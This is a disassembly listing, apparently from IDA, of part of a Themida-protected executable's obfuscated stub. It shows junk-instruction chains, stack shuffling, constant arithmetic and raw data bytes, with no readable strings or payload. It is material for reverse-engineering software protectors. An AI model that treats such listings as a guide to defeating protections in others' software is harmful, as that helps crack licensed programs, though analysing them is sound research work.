loc_552762:				; CODE XREF: Themida_:0054F278j
		push	edx
		mov	edx, 4
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_552ECE
; ---------------------------------------------------------------------------
		dd 3B53F281h, 0F2813804h, 0F6DE971Fh, 15AD529h,	9EC581C5h
		dd 815BBE7Ch, 0D63297C5h, 24048B42h, 81E38953h,	4C3h, 4C38300h
		dd 0ABB5E953h, 0E95A0000h, 0D573h
; ---------------------------------------------------------------------------


loc_5527B0:				; CODE XREF: Themida_:00561AC0j
		pop	ecx
		jmp	loc_552CA8
; ---------------------------------------------------------------------------


loc_5527B6:				; CODE XREF: Themida_:00554635j
		pop	ebx
		jmp	loc_554ECE
; ---------------------------------------------------------------------------


loc_5527BC:				; CODE XREF: Themida_:0055B08Ej
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_560162
; ---------------------------------------------------------------------------
		db 5Bh
		dd 148BD529h, 4C48324h,	100E6E9h, 0CACD8000h, 0EC83DDF6h
		dd 241C8904h, 0E9FEB3h
		db 0DEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5527EF:				; CODE XREF: Themida_:0054F9A1j
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		push	1EE235CFh
		pop	eax
		jmp	loc_54FDCB
; ---------------------------------------------------------------------------
		dd 58C7B951h, 0EC8160A6h, 4, 0B8240489h, 1, 8158C101h
		dd 6D6334C1h, 7E9C14Ah,	4104E9C1h, 8904EC83h, 0A2E92404h
		dd 8BFFFFFEh, 9662424h,	0E99C2404h, 0C88Fh, 0BBF57ADh
		dd 81746D5Dh, 3067D4F7h, 26A42D28h, 0F8296F08h,	826A405h
		dd 692D5F6Fh, 2D532C6Eh, 37272D1Eh, 1E05D801h, 6837272Dh
		dd 4D12h, 0BF243C89h, 532C6E69h, 752B3F05h, 9EE95708h
		dd 0FFFFE1h, 0C6EBE9D8h, 0F281FFFFh, 278E0A69h,	106AF281h
		dd 5EE993A6h, 950000FAh, 75E9D5F7h
		db 0D2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5528A3:				; CODE XREF: Themida_:00555F1Bj
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_556D3C
; ---------------------------------------------------------------------------
		db 5
		dd 210A4120h, 0B7E9D801h, 4F000032h, 5F5E5756h,	8104E6C1h
		dd 4E1735EEh, 5EF02903h, 9CEB815Fh, 551B2F73h, 3773D1BDh
		dd 6DB95113h, 816A5159h, 75374DE9h, 5CC1811Fh, 81E0B74Eh
		dd 0D00BCFEDh, 0E9CD014Fh, 0FFFFC8A6h, 9CC83B66h, 0FFB4C0E9h
		dd 814F5FFFh, 7A3F97F7h, 0C1F4E90Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552912:				; CODE XREF: Themida_:0055615Cj
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_555563
; ---------------------------------------------------------------------------
aS_6		db '±^éú',0
		align 4


loc_552928:				; CODE XREF: Themida_:0055AAEEj
		push	5C2h
		jmp	loc_5570A9
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0B48BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55293A:				; CODE XREF: Themida_:0055E46Cj
		xor	al, bl
		pop	ebx
		sub	bl, al
		jmp	loc_55E3AC
; ---------------------------------------------------------------------------
aB3Zsvo		db 'Æ+3×Zé¢O',0
		dw 0C100h
		dd 0BF5707E9h, 4F100556h, 8FFEF81h, 81472D13h, 0B48485EFh
		dd 5FF92110h, 0E831C181h, 0CA293273h, 0ED10E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552976:				; CODE XREF: Themida_:00556498j
		mov	edi, [esp]
		add	esp, 4
		push	27BEh
		jmp	loc_55B9C2
; ---------------------------------------------------------------------------
		db 5Ch,	30h, 0C3h
		dd 8FC0B60Fh, 2EE98704h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552997:				; CODE XREF: Themida_:0054FED1j
		push	665h
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_55FD8E
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24248904h, 4240483h,	582434FFh, 3CFAE9h
		db 0
; ---------------------------------------------------------------------------


loc_5529B9:				; CODE XREF: Themida_:00558873j
		add	dword ptr [esp], 340B06D8h
		jmp	loc_55BED1
; ---------------------------------------------------------------------------
		db 0C0h, 0EEh, 4
		dd 800BC680h, 0F108B1EEh, 8324148Bh, 0E98004C4h, 0D0E95027h
		dd 810000D5h, 816597E9h, 4EC8333h, 0BA241489h, 5C82020Ah
		dd 0C9F0E9h, 24048100h,	2D8841BCh, 0FFB3C4E9h, 9B168FFh
		dd 1C890000h, 47E95424h
		db 0EBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_552A0F:				; CODE XREF: Themida_:0055696Dj
		pop	edx
		push	6BB4h
		mov	[esp], edi
		push	ebp
		mov	ebp, esi
		mov	edi, ebp
		pop	ebp
		mov	ecx, edi
		mov	edi, [esp]
		push	ebx
		jmp	loc_5517C4
; ---------------------------------------------------------------------------
aCQsaj		db 'Áç',7,'Q逦',0
		align 2
		dw 0C981h
		dd 51FA40ABh, 6C40F181h, 0CF296A6Dh, 0D6E95259h, 8B0000CEh
		dd 0F1F62424h, 0CCB60F66h, 6FA468h, 24148900h, 0FFC4DDE9h
		dd 53E589FFh, 468h, 90E95B00h, 810000E4h, 4C4h,	0E150E900h
		dd 0F1290000h, 4514E9h,	0FF505F00h, 58042474h, 5C24048Fh
		dd 0BD242C89h, 7F24827h, 0F61BF57h, 48E92FFAh, 1000012h
		dd 0EB015FFBh, 4326EB81h, 525D475Ah, 0B951C688h, 0
		dd 3E93E9h
		db 0
; ---------------------------------------------------------------------------


loc_552AB5:				; CODE XREF: Themida_:0055E653j
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	edi
		mov	edi, 7D393F1Ah
		sub	edi, 2DD04F3Eh
		or	edi, 17221EAEh
		sub	edi, 5961C5Ch
		add	edi, 0DF0D2E07h
		or	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		shr	ecx, 8
		sub	ecx, 3DFE93h
		and	eax, ecx
		jmp	loc_55A654
; ---------------------------------------------------------------------------


loc_552AF2:				; CODE XREF: Themida_:0055574Fj
		push	ebp
		mov	ebp, 6B3C23BBh
		shl	ebp, 4
		jmp	loc_54E02F
; ---------------------------------------------------------------------------
		dd 0F261BF25h, 4A202D5Bh, 0C281EBDBh, 7EC9696Ah, 6C68C229h
		dd 89000064h, 6ABE2434h, 297EC969h, 6E95EF2h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552B27:				; CODE XREF: Themida_:0055F646j
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55A983
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 81E78957h, 4C7h, 0DF90E900h, 0CA800000h, 0A3B753FEh
		dd 0E7C0CFFEh, 52D7F608h, 0E6C00EB6h, 0CCC68002h, 0E945E680h
		dd 0FFFFC77Bh, 0C108E3C1h, 0E3D107E3h, 73CB814Bh, 5166B52Ch
		dd 0FDFFFBB9h, 59CB2976h, 15BD889h, 2434FFC2h, 4EC8358h
		dd 54241C89h, 0A1FEE95Bh, 14870000h, 0C6815C24h, 4, 0E9243487h
		dd 0FFFFFDE1h, 5C243487h, 3142E9h, 0EA815A00h, 7E386E89h
		dd 0C281FA01h, 7E386E89h, 6CEDE9h, 7A686600h, 4896665h
		dd 0BE665624h, 0B86634A4h, 0A8E94108h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552BDB:				; CODE XREF: Themida_:00560958j
		pop	ecx
		push	esi
		mov	esi, 476B219Fh
		sub	edx, esi
		jmp	loc_55B693
; ---------------------------------------------------------------------------
		db 83h,	0C1h, 2
		dd 12AE951h, 0E9AD0000h, 834Fh,	4BF57h,	212D0000h, 17DE175h
		dd 752105F8h, 9DE97DE1h, 0FFFFFFE1h, 55E92434h,	0BE0000A1h
		dd 1969294Fh, 15EF201h,	4FEA81C2h, 8B196929h, 0C4832404h
		dd 5B976804h, 14890000h, 2474FF24h, 2C08E904h, 0F5210000h
		dd 1842685Eh, 34890000h, 50E95524h, 0FFFFF0h, 285A66F0h
		dd 2A6866F0h, 0CE66E938h, 815DFFFFh, 0D4E3D4C6h, 2A3A2DE3h
		dd 0F02915D8h, 0D82A3A05h, 26F5E915h, 1C8B0000h, 4C48324h
		dd 0FFD16AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552C81:				; CODE XREF: Themida_:0055B994j
		add	ebp, 4
		add	ebp, 4
		push	2FDDh
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54EB11
; ---------------------------------------------------------------------------


loc_552CA8:				; CODE XREF: Themida_:005527B1j
		sub	edi, 303C1A23h
		add	edi, 62627BCEh
		sub	edi, 29DF2889h
		jmp	loc_554A39
; ---------------------------------------------------------------------------


loc_552CBF:				; CODE XREF: Themida_:005537EAj
		add	eax, edi
		jmp	loc_55B924
; ---------------------------------------------------------------------------


loc_552CC6:				; CODE XREF: Themida_:0055886Dj
		sub	ch, bh
		pop	ebx
		jmp	loc_55EAAC
; ---------------------------------------------------------------------------
aSpsgr		db 'SPé£r',0
		dd 0A9E95E00h, 0B7000012h, 0F471E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552CE2:				; CODE XREF: Themida_:00562432j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	ebp
		push	5929h
		jmp	loc_559769
; ---------------------------------------------------------------------------
		db 0C1h
		dd 882D07E8h, 4020D079h, 0E07B0A05h, 4175E91Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552D0A:				; CODE XREF: Themida_:005622A7j
		mov	esp, [esp]
		jmp	loc_55A3FE
; ---------------------------------------------------------------------------
		dw 68B9h
		dd 0E922BB29h, 0FFFFFD16h, 6B84E954h, 89500000h, 40FE9E0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552D2A:				; CODE XREF: Themida_:00553416j
		dec	esi
		add	esi, 0B69A8A6Ah
		and	edx, esi
		pop	esi
		add	edx, 644A366Ch
		shr	edx, 6
		add	edx, 0DFFC41Bh
		or	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		xor	ebx, 233BE7F0h
		jmp	loc_554C3F
; ---------------------------------------------------------------------------


loc_552D56:				; CODE XREF: Themida_:0055647Bj
		pop	ebp
		shr	ecx, 7
		dec	ecx
		jmp	loc_5543A4
; ---------------------------------------------------------------------------
		dd 0E91C6F09h, 1717h, 0C581E589h, 4, 4C581h, 2C870000h
		dd 24248B24h, 31243C33h, 3C33243Ch, 0B33BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552D8A:				; CODE XREF: Themida_:005593C6j
		pop	edi
		add	eax, edx
		add	eax, 1B45622Dh
		jmp	loc_55E79E
; ---------------------------------------------------------------------------
aQphp?mSgp	db 'QPh?¬=ég',0
		dw 8100h
		dd 9D1FAFE2h, 5EAC143h,	6260CA81h, 0C2813E90h, 0C16B959Fh
		dd 73E5E981h, 0D0E94B7Eh
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552DC3:				; CODE XREF: Themida_:0055E358j
		add	bl, ah
		jmp	loc_555512
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 0DE83E2B5h, 5E5DE801h, 805D801h, 6859D250h, 487Eh, 2108E9h
		dd 24348900h, 0B79BB53h, 57E925A0h
		db 0F5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_552DF3:				; CODE XREF: Themida_:0056092Dj
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_553AC6
; ---------------------------------------------------------------------------


loc_552E03:				; CODE XREF: Themida_:00561162j
		pop	edi
		neg	ebp
		jmp	loc_55031C
; ---------------------------------------------------------------------------


loc_552E0B:				; CODE XREF: Themida_:00558D64j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	58CDh
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 19D62E8h
		inc	eax
		add	eax, 19F43349h
		dec	eax
		shr	eax, 8
		xor	eax, 1B9192h
		jmp	loc_56018B
; ---------------------------------------------------------------------------


loc_552E47:				; CODE XREF: Themida_:00556FCFj
		add	esi, ecx
		pop	ecx
		add	esi, 4
		jmp	loc_550209
; ---------------------------------------------------------------------------
		dw 0D5F6h
		dd 8059EE88h, 0B1516EC6h, 3FC98043h, 0C0EAE180h, 0E18005E9h
		dd 0C7A1E9B5h, 50660000h, 0C708FBB0h, 0D7F65866h, 0FFE270E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552E7D:				; CODE XREF: Themida_:0054E589j
		xchg	ebx, [esp]
		pop	ebx
		push	ecx
		mov	ecx, 54645B12h
		and	ebx, ecx
		pop	ecx
		push	edi
		mov	edi, 0
		sub	edi, ebx
		xchg	edi, ebx
		pop	edi
		push	ebx
		dec	dword ptr [esp]
		pop	ebx
		push	ecx
		jmp	loc_553C4D
; ---------------------------------------------------------------------------
		dd 68241489h, 69693071h, 1A2DB85Ah, 0D001ED6Ah,	0CB4CE9h
		db 0
; ---------------------------------------------------------------------------


loc_552EB5:				; CODE XREF: Themida_:0055FF77j
		push	dword ptr [esp+4]
		jmp	loc_556D6A
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 59669D1Ch, 2414D366h, 0AEF7E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552ECE:				; CODE XREF: Themida_:00552773j
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_562661
; ---------------------------------------------------------------------------
		db 0F6h, 0DDh, 52h
		dd 0D528E0B2h, 0B7CEE95Ah, 0EE80FFFFh, 5AF1002Dh, 0B46E9h
		dd 51EAB800h, 0D0F74C2Fh, 0E902E8C1h, 0AE51h
; ---------------------------------------------------------------------------


loc_552F00:				; CODE XREF: Themida_:00550B5Ej
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_551B3E
; ---------------------------------------------------------------------------
		db 1
		dd 0ACE957F3h, 2900007Fh, 8B042474h, 0C4812434h, 4, 8904EC83h
		dd 0F068241Ch, 89000073h, 7F68243Ch, 5F20B148h,	0C3E9FB89h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552F3F:				; CODE XREF: Themida_:005570F8j
		push	ecx
		jmp	loc_554DD5
; ---------------------------------------------------------------------------


loc_552F45:				; CODE XREF: Themida_:0055178Aj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_561BA6
; ---------------------------------------------------------------------------
		dw 2D04h
		dd 2D2CF828h, 7AE92B04h, 50FFFFCFh, 4B8h, 0AACEE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552F72:				; CODE XREF: Themida_:005549AFj
		mov	[esp], dx
		push	eax
		mov	al, 0D0h
		push	ebx
		mov	bl, 41h
		push	eax
		mov	ah, 41h
		xor	ah, 9Dh
		dec	ah
		xchg	bl, ah
		not	bl
		xchg	bl, ah
		sub	ah, 0DBh
		push	ebx
		mov	bh, ah
		mov	dh, bh
		pop	ebx
		jmp	loc_54E3AB
; ---------------------------------------------------------------------------
		dd 9509DAB8h, 4196057Ch, 0D8F772D6h, 5101C083h,	0B9h, 0E9C12900h
		dd 6ADBh
; ---------------------------------------------------------------------------


loc_552FB4:				; CODE XREF: Themida_:005609CAj
		mov	eax, [esp]
		add	esp, 4
		and	al, dh
		mov	dx, [esp]
		add	esp, 2
		push	6871h
		mov	[esp], ebx
		push	eax
		jmp	loc_55685D
; ---------------------------------------------------------------------------
		dd 55241C89h, 43F1BF57h, 0E7814154h, 338607Ah, 0F707E7C1h
		dd 1CF781D7h, 5267C723h, 0FA2802BAh, 5AD70119h,	0C6E9FD89h
		dd 81FFFFE3h, 2C4653EBh, 24048B3Bh, 4C481h, 1C330000h
		dd 241C3124h, 8B241C33h, 0B60F2424h, 4EC83C8h, 89240C89h
		dd 0E46850E1h, 5877A155h, 0F703E0C1h, 0E96CE9D0h, 0C890000h
		dd 8733E924h, 7DB00000h, 0FE5BF800h, 30042CC0h,	24048BC1h
		dd 4C481h, 0EC810000h, 2, 35B9E9h
		db 0
; ---------------------------------------------------------------------------


loc_55305D:				; CODE XREF: Themida_:005571CFj
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_551C8D
; ---------------------------------------------------------------------------
		db 0BFh, 76h, 43h
		dd 7C011F73h, 0AEE90824h, 0BAFFFFE1h, 3B5AB657h, 295AD729h
		dd 243C8BF9h, 4C481h, 0E9C10000h, 5ABE5602h, 51316F7Fh
		dd 949EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5530A1:				; CODE XREF: Themida_:005552F8j
		push	edx
		push	ecx
		jmp	loc_555973
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 0A09DE9h,	0E9F02100h, 0FFFFFC1Dh,	5004C483h
		dd 405E089h, 5000000h, 4, 14E1E9h, 69C78100h, 81E2D12Ah
		dd 0B711CAC7h, 5FF93157h, 0F759CF01h, 0FFEF83D7h, 0BA52D7F7h
		dd 4D7F1360h, 6C9DCA81h, 0C2813063h, 1D897A9Dh,	0ABE9DAF7h
		dd 5F000043h, 815DE889h, 0E80571EBh, 28E9565Dh,	10000C4h
		dd 991EE9CDh, 34FF0000h, 89525D24h, 6B75E9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553122:				; CODE XREF: Themida_:0055BEF9j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		movsx	ecx, al
		push	10F1h
		jmp	loc_558D69
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 0C0830000h, 0BE73E904h, 0BB53FFFFh, 4, 0EDF8E9h, 24048700h
		dd 2414895Ch, 5A2414F7h, 1461CA81h, 0EAE9411Eh,	31000045h
		dd 4DE95EF1h, 810000C2h, 4C2h, 24143300h, 0C67EE9h, 0B1516600h
		dd 66CB2840h, 0E9515059h, 922Eh
; ---------------------------------------------------------------------------


loc_55318C:				; CODE XREF: Themida_:005563F3j
		add	esp, 4
		add	esp, 4
		push	18D8h
		jmp	loc_55DA8C
; ---------------------------------------------------------------------------


loc_55319C:				; CODE XREF: Themida_:0055D194j
		push	ebx
		mov	ebx, 5B9E00F7h
		sub	ebx, 588B114Dh
		shl	ebx, 4
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		xor	ebx, 0A6C0208Dh
		jmp	loc_55F343
; ---------------------------------------------------------------------------
		db 66h
		dd 4DCA8059h, 426EA80h,	2CD00000h, 0D8285A00h, 0E95BB92Ch
		dd 4000h
; ---------------------------------------------------------------------------


loc_5531D4:				; CODE XREF: Themida_:0054EAC8j
		pop	esi
		xor	ebx, [esp]
		jmp	loc_54FF3E
; ---------------------------------------------------------------------------


loc_5531DD:				; CODE XREF: Themida_:00554DFBj
		not	ecx
		xchg	ecx, esi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 1DB60A4Ch
		add	ebp, 1A76673Dh
		inc	ebp
		shr	ebp, 7
		shl	ebp, 3
		jmp	loc_55A0BD
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0CFh
		dd 811E9158h, 0E1E89E2h, 26EA810Ah, 1EBACAAh, 0CB015AD3h
		dd 3EA468h, 0BA8AE900h,	8B660000h, 51562404h, 0BE56E189h
		dd 3B2F6EA2h, 0CE81D6F7h, 7C6C724Eh, 0FFD35CE9h, 9CEA81FFh
		dd 8B1A030Fh, 90E9242Ch, 5BFFFFF2h, 4C6815Eh, 0E9000000h
		dd 8A96h, 0FB20A8BEh, 0B2EE8167h, 8115433Dh, 0ED738DF6h
		dd 19F68134h, 31E343C8h, 0EB015EF5h, 5D2434FFh,	0E904C483h
		dd 0FFFFC782h, 0B240E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553286:				; CODE XREF: Themida_:0055D053j
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		sub	ebp, eax
		jmp	loc_5557F5
; ---------------------------------------------------------------------------
		db 81h
		dd 73788AF1h, 59CF897Eh, 0FFF3CAE9h, 5EF101FFh,	8B240C87h
		dd 96E92424h, 55FFFFC7h, 4BDh, 8BEB0100h, 0C481242Ch, 4
		dd 8704C383h, 0E95C241Ch, 90A2h
; ---------------------------------------------------------------------------


loc_5532D4:				; CODE XREF: Themida_:00554E31j
		pop	ebx
		dec	ebx
		push	ecx
		mov	ecx, 52E77945h
		jmp	loc_55EDED
; ---------------------------------------------------------------------------


loc_5532E1:				; CODE XREF: Themida_:005500EFj
		add	esp, 4
		jmp	loc_556400
; ---------------------------------------------------------------------------


loc_5532E9:				; CODE XREF: Themida_:0055531Bj
		add	ecx, 4
		add	ecx, 4
		jmp	loc_54F645
; ---------------------------------------------------------------------------
		db 57h
		dd 0C781E789h, 4, 4C781h, 3C330000h, 243C3124h,	8B243C33h
		dd 0E9532424h, 0FFFFF1B6h, 5435ED81h, 0FD0120CCh, 5435C581h
		dd 0D4E920CCh, 52FFFFFDh, 38E9E289h, 5DFFFFD1h,	5C243487h
		dd 0D3E9D101h, 5000004Fh, 4B8h,	24440100h, 46E95804h
		db 85h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55334F:				; CODE XREF: Themida_:0054EB63j
		xor	ebp, [esp]
		pop	esp
		push	esi
		push	ebx
		mov	ebx, 1CAB649Ch
		push	ebx
		pop	esi
		pop	ebx
		sub	esi, 1CAB6498h
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5560F5
; ---------------------------------------------------------------------------


loc_55336F:				; CODE XREF: Themida_:0055AE15j
		mov	edi, 154F58BFh
		xor	edi, 5D0982Ah
		sub	ecx, edi
		pop	edi
		sub	eax, 380D7E23h
		sub	eax, ecx
		add	eax, 380D7E23h
		pop	ecx
		jmp	loc_55B3D2
; ---------------------------------------------------------------------------
		db 68h
		dd 0FA9h, 0FFCE9DE9h, 1C77FFFFh, 1858669Dh, 0E99C2404h
		dd 5FCh
; ---------------------------------------------------------------------------


loc_5533A8:				; CODE XREF: Themida_:00555C2Bj
		push	7E1Ch
		mov	[esp], ecx
		push	edx
		mov	edx, 7E665361h
		not	edx
		add	edx, 0E637C1F1h
		push	edx
		add	dword ptr [esp], 68534C18h
		pop	ecx
		sub	ecx, 68534C18h
		pop	edx
		sub	eax, 6C891336h
		jmp	loc_54FAB6
; ---------------------------------------------------------------------------
		dd 0BD242C89h, 2, 0FFF245E9h, 5E1EB8FFh, 0C70511B1h, 2927D902h
		dd 0EB0158C3h, 60E5C381h, 34FF398Ah, 2D08E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553402:				; CODE XREF: Themida_:005526C3j
		sub	bl, 93h
		push	dword ptr [esp]
		jmp	loc_555D50
; ---------------------------------------------------------------------------


loc_55340D:				; CODE XREF: Themida_:0055D8B6j
		add	esi, 7C111802h
		shl	esi, 2
		jmp	loc_552D2A
; ---------------------------------------------------------------------------
		db 59h
		dd 4EC81h, 14890000h, 4685524h,	8B000000h, 16E9242Ch, 81000073h
		dd 0A6D43DF2h, 8BD321DDh, 89572414h, 4C781E7h, 0E9000000h
		dd 26BCh, 42474FFh, 24048F5Eh, 68C3315Ch, 0DB5h, 0E9240489h
		dd 0FFFFE413h, 0C3803AB0h, 51C30079h, 0EB2879B5h, 48B6659h
		dd 2C48324h, 66C0B60Fh,	5524148Bh, 9849E9h, 962D5A00h
		dd 5704E33Bh, 0E901BD68h, 5B37E974h, 13680000h,	8900003Eh
		dd 0E954243Ch, 0A0Ch, 8BE80158h, 0C481242Ch, 4,	96B85051h
		dd 0E923EC2Fh, 0FFFFD6F9h, 8E3AB4BBh, 0D1C38112h, 8124EE56h
		dd 0C977FFF3h, 8E3C169h, 0FFD92AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5534D5:				; CODE XREF: Themida_:0055E090j
		mov	edx, esp
		jmp	loc_558BCF
; ---------------------------------------------------------------------------


loc_5534DC:				; CODE XREF: Themida_:00551BD6j
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55167F
; ---------------------------------------------------------------------------
		dw 0D5F7h
		dd 5743EB87h, 387A5ABFh, 5FFB3156h, 0E95BDA89h,	1Dh, 0F7242C31h
		dd 242C87D5h, 5F2434FFh, 8104C483h, 4ECh, 243C8900h, 9C52E9h
		dd 79EB2D00h, 0F02D4D8Ch, 102832Ch, 2CF005D0h, 0BA520283h
		dd 4D8C79EBh, 5A5AD001h, 6802C083h, 2B52h, 0E9240489h
		dd 0BD3Eh
; ---------------------------------------------------------------------------


loc_553550:				; CODE XREF: Themida_:0055CCA5j
		xor	edx, 36C79CDh
		mov	ebp, edx
		jmp	loc_55A85F
; ---------------------------------------------------------------------------
		db 59h,	81h, 0EEh
		dd 0C3D1E75Ah, 895EF789h, 753BE9FDh, 14870000h,	0CF6AE924h
		dd 15B0000h, 4A5368D8h,	0C890000h, 761DB924h, 0C8010A35h
		dd 241C8B59h, 0E904C483h, 3404h, 0D22AE956h, 0EC830000h
		dd 243C8904h, 0B73418BFh, 0E7895748h, 4C781h, 0BE560000h
		dd 4, 71E9F729h, 100009Fh, 5DC581F5h, 5E152659h, 3C3CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5535C9:				; CODE XREF: Themida_:00550E7Dj
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	ebx, 2EC400DAh
		add	ebx, edi
		add	ebx, 2EC400DAh
		add	eax, [ebx]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_55CA94
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0E9240C89h, 0D9C7h, 81242C8Bh, 4C4h,	1C470900h, 0FFCE96E9h
		dd 0E9EE88FFh, 0FFFFE1C2h, 4C481h, 48F0000h, 1DE95C24h
		dd 5AFFFFF0h, 0BA52C801h, 4AE12A87h, 92E9D001h,	89FFFFDFh
		dd 0E954242Ch, 92ADh, 1DBD555Ah, 8120C127h, 156209F5h
		dd 6AE5815Dh, 81574909h, 4000FCEDh, 5DEF2955h, 5C243C87h
		dd 81242489h, 42404h, 2C8B0000h, 4C48124h, 68000000h, 3AE3h
		dd 0BA241489h, 6A9B19EDh, 0D0DBE9h
		db 0
; ---------------------------------------------------------------------------


loc_553681:				; CODE XREF: Themida_:0054E7EAj
		and	edi, 621F5FC2h
		jmp	loc_55A9E0
; ---------------------------------------------------------------------------
		dd 3635BA52h, 0D2F750F2h, 0C103EAC1h, 8CE908EAh
		db 8Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55369F:				; CODE XREF: Themida_:0055967Aj
		push	esi
		mov	esi, 0B95EBDC9h
		add	edx, esi
		jmp	loc_55E19C
; ---------------------------------------------------------------------------
		dd 0E924048Bh, 2151h, 0EA9B850h, 92E9224Dh
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5536BF:				; CODE XREF: Themida_:00550BF2j
		push	edx
		mov	edx, 62136F64h
		jmp	loc_55B412
; ---------------------------------------------------------------------------
		dw 0D601h
		dd 1A1DEE81h, 0E95A0835h, 27C5h
; ---------------------------------------------------------------------------


loc_5536D8:				; CODE XREF: Themida_:00550E15j
		sub	esp, 4
		mov	[esp], eax
		push	esp
		jmp	loc_55B910
; ---------------------------------------------------------------------------


loc_5536E4:				; CODE XREF: Themida_:005546DAj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	ebx
		jmp	loc_55F507
; ---------------------------------------------------------------------------
		dw 0E1C0h
		dd 0D2E0E906h, 8366FFFFh, 66022404h, 0E924048Fh, 0FFFFECEEh
		dd 0E9E18951h, 6B99h, 8F04C483h, 248B2404h, 9CC88424h
		dd 0FFA69CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553729:				; CODE XREF: Themida_:0055DA3Bj
		mov	eax, 53590472h
		sub	[esp+8], eax
		pop	eax
		add	[esp+4], ebp
		push	eax
		mov	eax, 53590472h
		add	[esp+8], eax
		pop	eax
		jmp	loc_558078
; ---------------------------------------------------------------------------
		db 1
		dd 5A685EF1h, 8900007Ah, 0CAE9240Ch, 680000E6h,	7A10h
		dd 54240C89h, 592434FFh, 4C481h, 0C1810000h, 4,	20DAE9h
		dd 89525300h, 4C281E2h,	83000000h, 0E3E904EAh, 880000BFh
		dd 562E9F3h, 83550000h,	3C8904ECh, 4EC8124h, 89000000h
		dd 4EB9240Ch, 813B4A5Bh, 0BE37CDC9h, 9911E94Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5537AE:				; CODE XREF: Themida_:0055B431j
		xor	edx, 34F673B1h
		push	edi
		mov	edi, 78009Fh
		or	edi, 83709ABh
		sub	edi, 172D0BD4h
		jmp	loc_558376
; ---------------------------------------------------------------------------
		db 81h
		dd 0C8151BE6h, 0FBC68137h, 1FDBFEEh, 24348BF2h,	0FFD307E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5537E1:				; CODE XREF: Themida_:0055478Aj
		sub	edi, 0E9F7C2BFh
		add	eax, edi
		pop	edi
		jmp	loc_552CBF
; ---------------------------------------------------------------------------
		db 81h
